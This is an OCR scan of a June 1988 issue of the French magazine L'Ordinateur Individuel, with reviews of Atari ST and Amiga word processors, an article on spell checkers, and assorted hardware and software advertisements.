Nous avons voulu mesurer les perfor- 
mances des plus importants sur quel- 
ques actions simples et courantes. Word 
3 surclasse nettement ses concurrents. 
Reste que la vitesse d'exécution n'est 
pas forcément le critère de choix nu- 
méro un lorsqu'il s'agit d'écrire. ■ 
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TRANSFORMEZ VOTRE PC EN 386. 
INBOARD 386/PC. une technologie d'avant-garde 
d'INTEL pour vous permettre aujourd'hui d'utili- 
ser les applications de demain, apporte à votre IBM 
PC/XT les performances d'un 386 en augmentant 
jusqu'à 10 fois la vitesse de traitement ! 
Avec INBOARD 386/PC, plus de soucis de mémoire non 
plus ! Elle est munie d'un mégaoctet de mémoire, exten- 
sible à 3 mégaoctets, vous permettant d'utiliser '~ 
mémoire étendue au standard UNI EMS 4.0. 
Vérifiez vous-même que votre PC n'est pas mort. 
Ressuscitez-le avec la carte accélératrice INBOARD 
386/PC d'INTEL. 



LES PLUMES DE L'ATARI 

Puissants et efficaces, les traitements de texte pour l'Atari ST 

ont progressé en qualité et savent conjugue! 

originalité et convivialité. 

fUSMMEBMSH 
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Le début de l'annéel988 est marqué 
par un renouveau dans les traite- 
ments de texte sur Atari, avec de bonnes 
surprises. Le Rédacteur rappelle sa pro- 
venance en donnant par défaut le suf- 
fixe « .LIB s, ce qui ne surprendra 
petsonne puisque le journal Libération 
en est à l'origine. Il introduit une 
quantité d'idées excellentes et parfois 
spectaculaires. Becker Text, produit fia- 
ble, continue une carrière sans histoire. 
Signum version 2 apporte des améliora- 
tions tout à fait bienvenues à la vetsîon 
1 . Enfin, Evolution, fonctionne très bien 
dans une nouvelle version. Grâce à la 



convivialité du Gem, au rapport qua- 
lité/prix exceptionnel de la configura- 
tion laser Mega ST 4 avec disque dur, 
les dirigeants d'Atari ont la certitude 
d'avoir effectué un bon choix, d'autant 
que la montée en puissance des traite- 
ments de texte cuvée 1988 nous fait 
espérer encore d'autres améliotations 
pour les prochaines versions de ces 
produits. 

LE RÉDACTEUR: 
L'EXPLOSION CRÉATRICE 

Les caractéristiques du Rédacteur 
sont enthousiasmantes. Ce programme 



stimule l'esprit, et l'on se prend à l'envie 
de tester tous les gadgets, pardon, les 
fonctionnalités, les unes aptes les autres. 
Simple et convivial, il donne directe- 
ment accès aux fonctions-disque (for- 
mater, renommer, détruire, créer un 
répertoire). Grâce à la fonction spooltr, 
l'impression d'un texte quelconque 
paît s'effectuer, en tâche de fond, 
pendant la saisie d'un autre texte. Il 
reconnaît et conserve les formats, enri- 
chissement compris, de six traitements 
de texte dont First Word, Evolution et 
Becker Text. La sauvegarde est tout à la 
fois automatique et patamétrable. Les 
pnneipaux besoins de l'utilisateur sont 
pris en compte de façon astucieuse. 
Bref, il fourmille de trouvailles : ainsi, 
Le Rédacteur est à notre connaissance le 
seul traitement de texte à incorporer une 
analyse de style. Cette fonction compta- 
bilise la longueur moyenne des mots et 
des phrases, des lignes, des paragraphes, 
donne le nombre d'occurrences de cha- 
que mot dans un texte et présente le 
tout de façon agréable (ce qui aide par 
exemple à repérer un même mot ortho- 
graphié de deux façons différentes). 

Il manque cependant au Rédacteur 
quelques fonctions. Il serait question d'y 
intégrer un correcteur orthographique 
actuellement absent, en accord avec 
Dominique Laurenr, auteur pour Lori- 
ciels du dictionnaire intégré au jeu < Des 
chiffres et des lettres s. La coupure de 
mots n'étant que manuelle, le diction- 
naire intégré la rendrait, avec l'algo- 
rithme adéquat, non seulement auto- 
matique, mais encore exhaustive. Le 
Rédacteur ne gère pas non plus les notes 
en bas de page, ni l'espacement propor- 
tionnel. Ce dernier point explique en 
partie sa rapidité par rapport à ses 
concurrents. 

Autre point capital, le « tel écran, tel 
écrit > n'est pas géré au mieux. Les 
polices proportionnelles et la double 
justification ne font pas bon ménage, 
contrairement à ce qui se passe sur 
Evolution. Le mélange des tailles et des 
styles n'est pas au point non plus. Le 
gras notamment est mal imprimé : il 
provoque un élargissement excessif du 
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► paragraphe. Le manuel de l'utilisateur 
illustre parfaitement ce phénomène : les 
caractères gras y sont soigneusement 
évités dans le texte lui-même, à l'excep- 
tion des titres. Mais au prix de 
490 F ttc, il serait dommage de se 
passer du Rédacteur, utilisé éventuelle- 
ment en liaison avec l'un des traitements 
de texte dont il récupère les fichiers 
enrichis. 

Les possesseurs d'imprimante laser 
pourront cependant lui préférer Evolu- 
tion qui, par un parfait respect des 
normes de programmation publiées par 
Digital Research (800 pages), réussit le 
tour de force d'offrir un résultat final 
proche de la perfection. 

ÉVOLUTION: 

LE NEC PLUS ULTRA 

Quels que soient les attraits d'un 
traitement de texte, le principal crirère 
reste le résultat final. A ce titre, Evolu- 
tion, qui fut avec Fleet Street le premier 
à savoir fonctionner avec l'imprimante 
laser Atari, reste incontestablement le 
champion, malgré quelques défauts mi- 
neurs. Programme ergonomique, intel- 
ligemment conçu, Evolution réalise un 
< tel écrit, tel écran > satisfaisant, même 
lorsque les polices, corps et styles se 
mélangent sur une même ligne. Il offre 
en outre des facilités de création de 
tableaux complexes, dont l'utilisation 




devient rapide une fois passée la phase 
de prise en main, plus longue sur un 
programme puissant que sur un pro- 
gramme simplifié. 

On reproche parfois à Evolution 
d'être un peu lent mais, en vérifiant les 
chiffres donnés par diverses publica- 
tions, il est certain qu'une utilisation 
correcte de ce trairement de texte réduit 
considérablement les chiffres donnés 
parfois de façon optimiste. A l'usage 
quotidien, sa vitesse est < suffisante >, 
c'est-à-dire qu'elle est adaptée à une 
frappe rapide. L'affichage est immédiat, 
malgré la gestion des caractères propor- 
tionnels. Et surtout, la vitesse de prépa- 
ration d'une page pour l'imprimante 
laser est remarquable. De douze à vingt 
secondes maximum pour le démarrage, 
auxquelles s'ajoutent les temps de la 
laser elle-même. ' 

Dans la mesure où Evolution offre 
une bonne centaine de fonctions, il est 
impossible de toutes les décrire. Parmi 
les points forts, citons un algorithme de 
coupure automatique tout à fait remar- 
quable, pour lequel la totalité du Ro- 
bert en six volumes a été entré en fichier. 
Il n'a pu être pris en défaut, même dans 
les cas les plus compliqués. La coupure 
de mot automatique recalibre les textes 
les plus longs, de la première à la 
dernière ligne. Il vaut donc mieux 
l'effectuer juste avant l'impression, afin 
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que les modifications de dernière mi- 
nute ne viennent pas interférer. 

La pagination s'effectue sur Evolu- 
tion à l'aide de règles, aussi nombreuses 
qu'on le désire, qui définissent les cur- 
seurs, marges, justification, et débuts de 
paragraphe. Chaque fois que l'on modi- 
fie un élément de tabulation ou de 
marge, la totalité du texte se réorganise 
entièrement, de façon instantanée. Les 
travaux de présentation en sont facilités 
d'autant. Les règles sont stockables et 
< rappelables >., Elles sont complétées 
par des hauts et bas de page, enrichies 
de subtilités très utiles : on peut deman- 
der la numérotation de la page, suivie 
du nombre total de pages du docu- 
ment, ou encore l'inscription automati- 
que de la date de publication, etc. 

Systématiquement, les auteurs 
d'Evolution ont fait la chasse aux astu- 
ces, avec une démarche de la plus 
grande logique. Si la touche Undo rend 
de grands services, en annulanr les 
dernières opérations, sur plusieurs ni- 
veaux limités par un tampon de 5 Ko, 
la série Shift F 10 rendra caduque la 
dernière annulation par Undo. Sur im- 
primante laser, Evolution utilisera la 
place résidant en mémoire vive, avec un 
grand appétit, puisque sur un Mega 
ST4, les polices et la place réservée pour 
rendre plus rapides les impressions 
prennent 2,4 Mo. Sur les autres machi- 
nes, le système n'occupe que la place 
disponible. L'imprimante laser exige au 
moins un Mega ST2, et les quatre 
polices de caractères livrées en standard 
600 Ko à elles seules. 

Pour conclure sur les mérites d'Evo- 
lution, précisons qu'il permet les mai- 
lings, l'inclusion de variables, de gtapM" 
ques et le mulrifenêtrage avec quatre 
textes simulranés, qui peuvent commu- 
niquer par le biais des fonctions de 
sélection, copie et déplacement. De 
notre point de vue, et malgré quelques 
défauts, Evolution est probablement le 
traitement de texte qui donne les états 
imprimés les plus professionnels, en 
tirant le meilleur parti des possibilités de 
l'imprimante laset Atari. Mais bien sûr, 
Evolution sur Atari sait également gérer 
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Le Diagnostic de l'Entreprise a été élu Disquette d'Or des Experts Comptables 87 ; ce prix 
récompense la créativité pour le conseil aux entreprises. A partir dez liasses fiscales, il 
établit une analyse financière complète : contrôle indiciaire, tableaux de fmancement,ratios, 
scores, graphiques.Des grilles de contrôle testent même la cohérence de la liasse fiscale. 



C'est ie prix des Amortissements, pour la gestion des immobilisations. Il calcule l'ensemble des 
amortissements (linéaires, dégressifs, dérogatoires) de l'exercice, les immobilisations sorties, le 
total des acquisitions, des cessions, plus-Values. Tout ceci par numéro de compte. Vous obtenez 
les écritures comptables correspondantes. Gestion automatisée du report d'une année sur l'autre. 

C'est le prix de Gestion Prévisionnelle, rentabilisée dès la première utilisation, A partir de 
budgets, saisonnalités, délais de règlements, taux de TVA, le programme établit des plans 
de TVA, de trésorerie, SIG, compte de résultat et bilan prévisionnels, clignotants, tableaux 
de bord, écarts, actualisations, tableau de financement. Divers calculs d'emprunt, etc. 

REVRIS : Cette approche par le risque est une méthodologie efficace pour la révision , Elle 
renforce la conviction du réviseur sur les comptes annuels et a pour but d'analyser et 
d'évaluer les risques essentiels au niveau de l'environnement économique, compteble et 
financier; établit un plan de révision ainsi qu'un programme adapté à chaque mission. 

La Solution Douce est une société de services qui prend en charge les développements 
informatiques, la francisation de logiciels, les applications pour tableurs en prêt à porter ou 
sur mesure. Nous proposons des applications vite rentabilisées, des prix exlraordinuire- 
ment bas ainsi qu'une assistance téléphonique gratuite. Consultez nous sans attendre! 



( ) Contre-remboursement 



Société:., 
Adresse: 



Diagnostic de l'Entreprise ( ) 
Disquelle 3 pouces 1/2 ( ) 

Disquette de démons Irai ion par appli 



Disquette 5 poucesl/4 



Code Posia 
Ville:_ 



Ajouter 45F TTC de frais de Port. Tous nos prix sont hors taxe (TVA 18,6%) 
Tableur utilisé Q Multiplan III Q Lotus 1 2 3 v.2 □ Excel Macintosh □ VP Planner 



Ecrire à : La Solution Douce, 78 rue du Gros-Horloge, 76 000 ROUEN ou appeler le 35 88 17 00 




une cinquantaine d'autres imprimantes, 
notamment les lasers Apple, HP et bien 
d'autres. Rappelons qu'Evolution est 
désormais traduit en huit langues et 
diffusé par Palantir sous le nom de 
Wintext dans sa version Windows pour 
PC. Cela augmentera encore les ventes 
qui, fin 1987, atteignaient déjà, toutes 
machines confondues, 55 000 exem- 
plaires installés. Au prix de 1 400 F ht, 
Evolurion coûte cependant trois fois 
plus cher que Le Rédacteur. 

BECKERTEXT: 

UN PRODUIT BIEN RÔDÉ 

Becker Text, qui semble déjà ancien, 
ne s'est pas beaucoup renouvelé, mais 
reste satisfaisant. Utilisant le g 
et la capture d'images, grâce ; 
accessoire BTSNAP.PRG, Becker Text 
fut longtemps un des meilleurs pro- 
grammes sur Atari, avec entre autres un 
dictionnaire intégré pour la correction 
orthographique, un algorithme de cou- 
pure automatique, des points d'inser- 
tions de variables pour les mailings, 
deux modes recouvrement et insertion, 
et un paramétrage complet des options. 

Aujourd'hui, la concurrence est de- 
venue plus active, ce qui n'enlève rien à 
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ses qualités. Certains de ses atouts de- 
meurent, telle la possibilité d'établir une 
liste d'impression (trente textes peuvent 
être imprimés à la suite), de choisir en 
option un mode capable de gérer les 
particularités du langage C, notamment 
au niveau de l'accolade, de réaliser des 
masques de saisie avec calculs pour saisir 
des factures à partir du traitement de 
texte, ou encore travailler sur des ta- 
bleaux avec les options de calcul, de 
marquage de bloc et de marquage de 
sphère, pour agir sur des blocs ou des 
colonnes. Acceptant tailles et styles 
divers, Becker Text est géré en < tel 
écran, tel écrit >. Il est prévu d'origine 
pour s'interfacer aux bases de données 
ou aux tableurs au format Calcomat ST 
et Datamat ST. Bien que relativement 
ancien, il garde toute la solidité d'un 
haut de gamme. 

SIGNUM2: 

LA NOUVEAUTÉ 

Après Signum 1, salué par la presse, 
voici Signum 2, qui apporte quelques 
améliorations tout à fait bienvenues. 
Proche de la PAO, Signum 2 a été 
redise pour des gens exigeants, margi- 
naux dans leurs besoins, et qui doivent 
affronter des moutons à cinq pattes. 
C'est le cas des thèses d'université ou 
l'on tencontre des symboles mathémati- 
ques, chimiques, musicaux, arabes, bref 
quelques-unes des 200 polices existant 
en France et en Allemagne, et réalisées 
la plupart du temps par les utilisateurs 
eux-mêmes, grâce an générateur de 
police intégré. 

L'originalité de Signum réside dans 
ia facilité d'écrire « entre les lignes >, 
chaque ligne pouvant être subdivisée en 
une ligne principale et plusieurs lignes 
secondaires, situées au-dessus ou au- 
dessous de la ligne principale. L'option 
« formule > permet dors, à condition 
d'être un virtuose du cutseur, de réaliser 
des équations complexes de plusieurs 
niveaux mélangeant les racines carrées, 
les sigma, les divisions, ou même des 
représentations de liens entre molécules 
pour les chimistes. 

D'autres s'amusent à réaliser des 



partitions musicales complètes, ou en- 
core, comme l'auteur de Signum, à 
préparer une version arabe fonctionnant 
de droite à gauche. Pour ceux qui 
connaissaient déjà Signum 1, la nou- 
velle version s'ouvre sur les fichiers 
ASCII, récupère le style souligné qui lui 
manquait, ajoute une poubelle au 
presse-papiers, inclut le graphisme ainsi 
qu'un accessoire snapshot (pour photo- 
graphier des écrans), passe en multico- 
lonnage, etc. Au niveau de la mise en 
page, Signum savait déjà travailler au 
l/54 c de pouce vertical, et au l/90 e de 
pouce horizontal. En conséquence, il 
gère sans peine plusieurs polices propor- 
tionnelles, en divers styles et tailles. Sa 
bibliothèque de trames et cadres laisse 
supposer qu'il réalise d'excellents docu- 
ments à condition d'utiliser une impri- 
mante graphique, Seules ces dernières 
justifient l'achat de Signum. Il serait 
dommage de disposer d'un aussi bel 
instrument sans pouvoir l'employer en 
fonction de ses nombreuses opportuni- 
tés. Des clubs d'utilisateurs de Signum 
existent en Allemagne. Ils vous évite- 
ront probablement de redéfinir vous- 
mêmes vos propres polices de caractères. 
Pour 1 520 F ht, il devient possible de 
se lancet dans l'édition scientifique. 

LES BEAUX JOURS 
D'ATARI 

Avec cette panoplie de programmes 
efficaces et originaux, l'environnement 
Atari se muscle. Entre Le Rédacteur et 
Signum 2, l'originalité fait une entrée 
temarquée dans le monde des ST. 
Signum va même jusqu'à gérer l'impri- 
mante laser Atari à partir d'un 520 ST ! 
Quant au Rédacteut, ses statistiques sur 
le style et la fréquence sont à notre 
connaissance uniques. Le solide Becker 
Text et le best-seller Evolution complè- 
tent cet ensemble pour réécrire la biblio- 
thèque de Babel, puisque les généra- 
teurs de caractères et leurs macro- 
instructions permettent même l'édition 
de partitions musicales d'une façon 
inédite. Entre la souplesse et la puis- 
sance, il est resté une place à l'imagina- 
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Le nouveau SGBD pour Windows 



Quelques-unes des caractéristiques de Quartz: 

• SGBD relationnelle et/ou hiérarchique 

• 60 fichiers ouverts simultanément 

• 2400 caractères par rubrique 

• création de vos propres menus déroulants 

• générateurs d'états avec polices, styles et tailles à l'écran 
(WYSIWYG) 

• import/export avec fichiers dBase, Lotus, Sylk, DIF et ASCII 



• liaison avec gros systèmes (gestion complète du port de 
communications) 

• création de vos propres boutons de commandes, carrés et 
boutons de sélection, "scroll-box", zone textes 

• langage de programmation comprenant plus de 180 commandes 

• langage d'interrogation autorisant jusqu'à 50 critères 
simultanément 

• compatible Windows (toute version), OS/2 présentation 
manager, DDE et AUA 

• couper/coller avec Excel, PageMaker, Graph, etc. 



Pour en savoir plus, retournez le coupon ou demandez une démonstration à votre revendeur. 



Aware 



21, rue Le Peletier 75009 Paris 
Tél. 45 23 21 12 Télex : AWARE 281 941 F 



Code postal e 



e documentation sur OMNIS QUARTZ. 




L'AMIGAABON(S) 
CARACTÈRE(S) 

Ecrire avec l' Amiga ? C'est possible ! Sans se bousculer au 

portillon, les traitements de texte arrivent. Ils sont au nombre 

de sept, comme les péchés capitaux, ou les merveilles du 

monde... 



Voici encore un an, l'ordinateur non 
compatible PC de Commodore 
trouvait place entre les consoles de jeu et 
les micros d'Atari. Faute de logiciels 
sérieux, l' Amiga ne pouvait prétendre 
un seul instanr franchir les portes d'un 
bureau pour séduire secrétaires et pa- 
trons. Oubliées les frasques du modèle 
1000 : le 500 et surtout le 2000 
s'engagent à apporrer les mêmes servi- 
ces que n'importe quelle autre machine 
du marché. Il était remps ! 

Pas moins de sepr logiciels tentent 
d'occuper la mémoire des Amiga afin 
d'y loger de longs mois, voire de lon- 
gues années. Un traitement de texte ne 
se change pas tous les jours : le choix se 
doit d'être judicieux afin d'éviter des 
vicissitudes sans fin. 

Point commun à la quasi-totalité des 
programmes, la minuscule mémoire de 
1" Amiga 500 (512 Ko) est insuffisanre 



pour stocker de multiples polices de 
caractères et leurs fontes associées. L'ac- 
quisition d'un second lecteur de dis- 
quettes, ou mieux d'un disque dut, 
s'impose : certains logiciels (tels que 
Textcraft Plus et Vizawrite) accèdenr 
régulièrement à la disquette-système. 

Heureusement, presque tous les trai- 
temenrs de texte Amiga font face à la 
concurrence en acceptant d'importer 
graphiques er dessins au format IEF 
(International File Formât) dans le 
cotps du texte. A l'opposé, certains 
oublient d'exploiter les avantages de la 
souris (WordPerfect, Word 7 et surtout 
Scribble). Leurs commandes, placées 
sous le signe du clavier, avantagent les 
consommateurs d'une application uni- 
que, mais déroutent les dilerrantes. 

La facilité d'apprentissage constitue 
un critère essentiel pour ces néophytes 
du traitement de texte. Textcraft Plus 



Logiciel 


Editeur 


Distributeur 


Prix 
(Fht| 


Serv. 
lect. 
réf. n° 


KindWords 


The Disc Company 


Ordinateur Express 


790 


105 


Prowrîte 


New Horizon 
Software 


Vaugeois 
Electronique 


1 120 


106 


Scribble 


Micro SystemsSoft. 


Amie 


760 


107 


Textcraft Plus 


Commodore France 


Commodore France 


700 


108 


Vizawrite 


Viza Software 


Micro Application 


] 490 


109 


Word 7 


Edusoft 


Edusoft 


990 


110 


WordPerfect 


WordPerfect 


WordPerfect 
France 


3 500 


111 



{Commodore) devient l'outil privilégié 
des débutants : avec un investissement 
de 700 F, l'amateur fourbira ses pre- 
mières armes d'écrivain électronique. 
Toutes les fonctions de base figurenr 
dans ce produit : modification du corps 
et de la graisse des caractères, réglages 
du formar de page ou de paragraphe, 
présentation Wysiwyg... 

La maîtrise du logiciel comme de la 
frappe au clavier, avec AmigaTap (Or- 
dinareur Express) par exemple, conduir 
inévitablement vers des programmes 
plus puissants. Le fanatique du look PC 
hésitera entre Word 7 (Edusoft) et 
WordPerfect (WordPerfect Corp). Le 
premier simule, même sous 
Amiga/DOS, l'écran d'un micro IBM 
bon teint. Les deux logiciels donnent la 
priorité au daviet pour des performan- 
ces équivalentes, à la limite de la mise en 
pages. Le deuxième se refuse néanmoins 
les plaisirs de l'illustiation. 

Les autres < écriveurs > choisiront 
entre les trois excellents produits Kind 
Words (The Disc Company), Prowrite 
(New Horizon Software) et Vizawrite 
(Viza Software). 

Les dictionnaires intégrés, variant 
entre 90 000 et 120 000 mots, garan- 
tissent une orthographe au-dessus de 
tout soupçon. L'importation des images 
s'effectue à la souris er sans anicroche. 
L'ensemble des commandes, enfin, 
transite par la souris ou le davier. Dans 
ce dernier cas, elles se redéfinissent 
directemenr par un menu. 

Bien entendu, une telle complexité 
induit obligatoirement quelques tâton- 
nemenrs du pratiquant avant qu'il ne 
manipule le logidel comme un profes- 
sionnd. De la même façon, la valeur des 
logiciels se reflète directement dans leur 
prix. Comptez de 800 F à 1 500 F 
suivanr le modèle! 

Raisonnablement, le choix se fera 
entre Textcrafi:, pour les utilisateurs 
épisodiques, et les trois mousquetaires 
évoques plus haut, à savoir Prowrite, 
Kind Words et Vizawrite. Le critère du 
prix enrrera peu en ligne de compre : un 
traitement de texte dure presque aussi 
longtemps que le micro lui-même ! ■ 




PICK SYSTEMS ET SES DISTRIBUTEURS AGRÉÉS 
VOUS OFFRENT AVEC L'ACHAT D'UN SYSTÈME PICK : 

UNE JOURNÉE DE FORMATION GRATUITE SUR LE SYSTÈME PICK DU 25 AU 29 MAI 

UNE ENTRÉE GRATUITE AU SALON DU SPECTRUM PICK A L'ESPACE CHAMPERRET DU 25 AU 27 MAI 

UNE NUIT D'HOTEL A PARIS 

RENSEIGNEMENTS : 



PICK SYSTEMS 

CLASSY 

PATIO 

STAB 



45.26.42.90 
34.10.99.77 
46.86.24.99 
46.21.67.67 



L'INFORMATIQUE PROFESSIONNELLE A LA PORTÉE DE TOUS 



L'ORDINATEUR INDIVIDUELN" 104/JUIN 19SS 



RètcrmrelfrnL'jse: 



L'ÛRDINATtUR INDIViliLtLN" KH/jUlN 1988 



SYSTEMES CLE EN MAIN 

Unilé centrale a base de 80286 & 80386. 

Clavier AZERTY 102 touches. 
Lecteur 1,2 Méga octets. 
Disque dur 20, 40 Méga octets. 
Ecran monochrome ou EGA. 



CONFIGURATIONS SPECIALES 
Moniteur EGA, VGA & Pleine page. 
Imprimante matricielle, laser. 
Ensemble complet matériel + logiciel. 



SERVICES 

SAV sur site ou en laboratoire. 
Fabrication de cables sur mesure. 
Développement de logiciels langage (Basic 
C - PL/M - Pascal - assembleur 8086, Z80, 
8049, 8051). 

Développement de cartes électronique 
Traçage sur DMP (houston instrument.) 
C.A.O. électronique. 



D.A.O. de schéma électronique. 
Réalisation de circuits imprimés. 
Prototype & maquette électronique. 
Programmation: 

Eprom. 

Pal. 

MunochipS7xx. 
Disquettes, ruban .listing t divers. 



CARTES ELECTRONIQUES 

Cartes E/S numérique pour XT & AT. 
Cartes E/S sur relais & opto-coupleurs. 
Cartes AD & DA. 

Rack d'acquisition de données pour XT & AT. 
Cartes de télécommande magnétoscopes. 



H.P.HARD 

14 Une du ruisseau 750IS 

PARIS 

Tel: (1)42-51-41-47 






Wmi LE DON D'UBIQUITE 

yune vraie télémaintenance sur PC 




• sur liaison asynchrone 
(V21, V22, V22b, V23) 

• sur liaison synchrone BSC 
(2780, 3780, 3270] 

• sur liaison synchrone X25/X32 

• de 300 à 19200 bauds 

• en mode graphique 
et en mode texte 




un PC peut voler au secoue de son « confrère » malade ou inexpérimenté 

Pour 500 F. / station* 



[*) sur les produits et les modems ARN : 

ARN X25 accès direct â TRANSPAC en X25 et X32 

ARN-MAX/25 multiplexeur d'applications sur un lien X25 

ARN-PCX32 produit complet d'occès à TRANSPAC 

en mode synchrone par réseau commuté 
ARN-TS. .carte-modem trislandard [V21, V22, V23) compatible Hayes 
ARN-BS carte-modem bistandard (V21, V23] compatible Hayes 



ARN-MCL 

un produit 




(1) 48 57 52 00 ARN inlomtique 

51-57, rue Jules Ferry 93170 BAGNOLEI 



LES CORRECTEURS PRIS 
EN FAUTE 

Lents et peu fiables, les correcteurs orthographiques 

informatiques sont sur la sellette. Jusqu'où peut-on leur faire 

confiance ? 



Loin le temps cher à Alexandre 
Vialatte où le divin correcteur pres- 
sentait la faute plutôt qu'il ne la décou- 
vrait. Loin le temps où hommes et 
dictionnaires, dans une parfaite union, 
concouraient à une meilleure qualité 
orthographique. Las ! L'informatique 
règne désormais sans partage sur le 
texte. 

Pas le moindre écrivain, pas la plus 
timorée des secrétaires pout regretter la 
disparition de nos chères vieilles machi- 
nes à écrire. Non! Plutôt l'angoisse 
devant la feuille blanche électronique 
que l'usage de blanc correcteur. Ah ! Le 
charme captivant du traitement de 
texte : la simplicité même pour l'écri- 
ture... mais que devient la correction 
dans les puissantes mâchoires informati- 
ques "' 

Les familiers du davier connaissent la 
facilité avec laquelle deux lettres s'inver- 
sent insidieusement dans un mot tapé 
avec célérité. Les uns relisent leur œuvre 
et débusquent les infâmes permuta- 
tions, les autres préfèrent confier cette 
tâche rude et peu glorieuse aux correc- 
teurs électroniques. Ces derniers appa- 
rurent presqu'aussi vire que les traite- 
ments de texte, tentant d'immortaliser 
la puissance électronique face au pauvre 
relecteur humain. 

Le logiciel Virgule de Micro Applica- 
tion, pour Commodore 64, représente 
sans aucun doute les prémices de la 
correction presque automatisée. Doté 
de cent vingt mille « mots », le diction- 
naire s'ouvrait à toutes les sollicitations 
de l'utilisateur pour découvrir les termes 



incotrectement écrits. Mais là où le bât 
blesse, c'est dans la définition même du 
mot < mot > ! 

Lorsque votre dictionnaire Larousse 
ou Robett affiche fièrement ses quel- 
ques dizaines de milliers de mots, vous 
pouvez les compter, ils se trouvent 
téellement dans les pages du volume. 
En revanche, les dictionnaires des cor- 
recteurs orthographiques comptent 
comme autant de mots les différentes 
formes conjuguées d'un verbe, les adjec- 
tifs au masculin et au féminin, les noms 
au singulier ou au pluriel... Après 
contraction et réduction, la prolifération 
des mots annoncés par de tels logiciels se 
réduit considérablement pour repasser 
sous la barre des trenre mille mots, et 
encore dans le meilleur des cas ! 

► QUI CORRIGE 
LENTEMENT CORRIGE 
SAINEMENT 

Handicapés par cette relative faible 
pauvreté de vocabulaire, les correcreurs 
orthographiques souffrent d'un autre 
mal aussi insupportable : la lenteur. En 
effer, un tel programme est obligé de 
parcourir l'ensemble du texte séquen- 
tiellement. Il compare alors chaque mot 
au contenu de son dictionnaire, Lorsque 
le logiciel rencontre un mor inconnu, 
deux solutions se présentent. 

Premier cas, le produit est aussi 
évolué qu'un protozoaire, et vous bon- 
dissez sur le Robert en sept volumes. 
Deuxième option, le logiciel (rype 
Word, Wordstar, FullWrite, Manus- 
cript, etc.) propose à votre sagacité des 



mots présentant les symptômes de l'ho- 
monymie. Dans tous les cas, le pro- 
gramme vous laisse le choix entre tem- 
placer le terme fautif ou le maintenir. 

Associés à ce dernier choix, certains 
des meilleurs correcteurs offrent d'inté- 
grer le néologisme dans un dictionnaire 
personnel. Le recours à cette option 
ouvre des horizons nouveaux, encore 
une fois limités par la rapidité d'explo- 
ration des lexiques. Autre aspect insup- 
portable, les correcteurs orthographi- 
ques actuels sont incapables d'explorer 
la totalité d'un texte en mémorisant la 
position des mots douteux. La révision 
d'une prose un peu longuette exige des 
trésors de patience, incompatibles avec 
les objectifs de rentabilité induits par 
l'informatisation. 

Indéniablement, les traitements de 
texte (ou de mise en pages, Pagemaker, 
Ready Set Go, Ventura) évoluent beau- 
coup plus rapidement que leurs modu- 
les de cottection. L'obstacle de la langue 
limite les efforts accomplis pat les édi- 
teurs. Pourtant, des équipes s'intéres- 
sent à des dictionnaires sémantiques et 
plus seulement orthographiques, ainsi 
les chercheurs groupés autour de Gé- 
rard Sebah, lauréats de la Boutse pour 
l'intelligence artificielle Mannesmann 
Kienzle. Leur projet, Cortexte, indutun 
correcteur orthographique, un correc- 
teur grammatical (vérification des ac- 
cords, des concordances de temps, etc.) 
et un analyseur sémantique. Cette troi- 
sième partie propose à l'utilisateur des 
formulations différentes pour une 
phrase déterminée. Encore en chantier, 
ce type de développements n'aboutira 
pas avant la prochaine décennie. 

Les francophones souhaiteraient cer- 
tainement trouver des logiciels équiva- 
lents au Word Finder de Microlytics 
Inc. Ce dictii mii-àirt des synonymes {PC 
et Macintosh) recense ptès de 220 000 
termes accessibles par quinze mille 
< mots d'entrée >. En attendant, la 
raison commande de recourir aux met- 
veilleux dictionnaires de nos aïeux plu- 
tôt que de multiplier les manipulations 
informatiques, encore trop complexes 
pour un résultat médiocre. ■ 

LT)RDTNÀTELTi INDIVIDU!!. \MUVI(,-]\.M9« 
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les solutions boiteuses 
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mcAcm 

• Etude préalable précise et détaillée 

• Solution évolutive adaptée à vos besoins 

. Systèmes performants et simples à utiliser 

CLEE\MAISS 

• Matériel et logiciels 

• Installation et formation 

• Maintenance et assistance illimitées 



SECURITE 

Microvad a mis au point le système exclusif SYSVAD. 
Celui-ci permet une sécurité absolue de vos informations 
•Rapide : 1QMo/mn 

•Automatique : journalier et sans intervention. 
• Intelligent : 5 à 10 versions des jours précédents 
sont conservées ^^^^^^^^_^^__ _^^ — 



MICROVAD 62, rue B 



SATISFAIT OU REMBOURSE 

Par une clause contractuelle, MICROVAD s'engage 

à garantir intégralement votre solution micro-informatique! 

rancion 75013 PARIS. Tél. : (1) 45 32 11 21 




DTL4000 Modem multistandardV21,V22., 

V22 bis, V23, Bell 21 2 A, Bell 1 03/Appel 
uMtfMisii^ui'.^^ivJnsP.i-torii.ii t|UL'Vr::ii|.-.,nin!- 
, Hayes ' ../StotkaES ol' I 2 n;r«os de !■■ ephom. 
.,Ule 2 roniisualiorM.IV:-;p'.ji'.i'ion en mémoire 
non-volati le/Transmissi on asynchrone ou 
,vntl!roii?/Proli:( :i-.-m d;'< o-hi |.Mr mot de p**rj ei' 
reporte .iuro-K,i:;:v: ! .iLHiViaiin m ■•-.■Correction 
ri 'erreurs ri' rimnrev.inn dc-j données en 
r-ptiori/Préicr.tation en coiifet ou en carte PC 



I e plu- simplement du monde, DIGITELEC met 
aujourd'hui la Terre entière au bout de vos doigts ! 
Grâce à la compétence et à l'imagination du premier 
concepteur français rie modems. -.0- ordinateurs 
peuvent communiquer entre eus el Jvet leurs voisins 
du monde entier d jr- tics conditions de performance et 
de fiabilité inégalées. 

Mais ce n'est pas tout : dans les modems DIGii tl.EC. 
tout a été pensé de facoii i ceque ■.ostransrrrssionsde 
données soient aussi simple- qu'un claquement de 
doigts ; compatibilité totale avec les standards 

utilisant les commandes - Hayes '■ », appel et réponse 

100 % automatiques, ionm;ur,-.tkm automatique à la 

Si uius prenez également on compie le rail que les 
modems DIGi i ELEC ■-oni aus ; .i rrés [jerlotmants au 
niveau du oriv il va touies le- chances pourque 
demain, ils vous fassent tourner... la Terre 1 

DTL3000 Modem multistandardV21,V22, 

Y 2 ï.-'Apix'l .Hitnm.rifi-ae.-Rèira-.io automati- 
que/Compatible « Hayes ■ -/Répertoire de 



Je souhaite recevoir rapidement une , 

documentation sur vos modems : ; 

Gamme DTL 400Q □ Gamme DTL 3000 D £ 

Gamme DTL 2001 RS □ : 



_Tél. 



Ajournera tDIGITÉLEC INFORMATIQUE 
Parc Club Cadéra. Avenue J.F.-Kennedy. 

33700 MÉRICNAC 

Téléphone56344492.Télex571l)66 F. 

Télécopie5634818S 



DTL 2001 RS Modem V2l etV23%méir!s 
incorporé/Réponse autornLi-.ique/L!t^s.-Ne s-n 
résej.J'élophoniauei.-oiiniuté et sur ligne 
